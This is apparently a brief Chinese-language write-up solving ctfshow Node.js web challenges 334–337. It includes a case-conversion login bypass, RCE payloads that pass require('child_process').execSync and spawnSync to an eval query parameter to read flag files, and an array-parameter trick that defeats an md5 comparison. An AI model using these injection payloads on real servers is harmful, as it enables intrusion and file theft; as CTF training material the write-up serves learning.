web334
有個文件下載之后改后綴為zip加壓就可以得到兩個文件
一個文件類似于index.php 還有一個就是登錄密碼登錄成功就有flag
username:ctfshow
password:123456
因為
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
這個toUpperCase()可以轉大寫
web335
查看源代碼看到了eval可以進行rce只不過和PHP不同的是函數
?eval=require('child_process').execSync('cat f*')
使用這個child_process類里面的execSync方法
web336
spawnSync()會同步創建一個子進程執行我們傳入的命令,并且返回一個對象.
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道為啥這道題就一定要stdout.toString(),這個的作用是標準的輸出并且轉化為字符串
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a; //GET請求var b = req.query.b; //GET請求if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'}); //渲染模板,回顯tql在index}});module.exports = router;
數組繞過
?a[]=1&b[]=1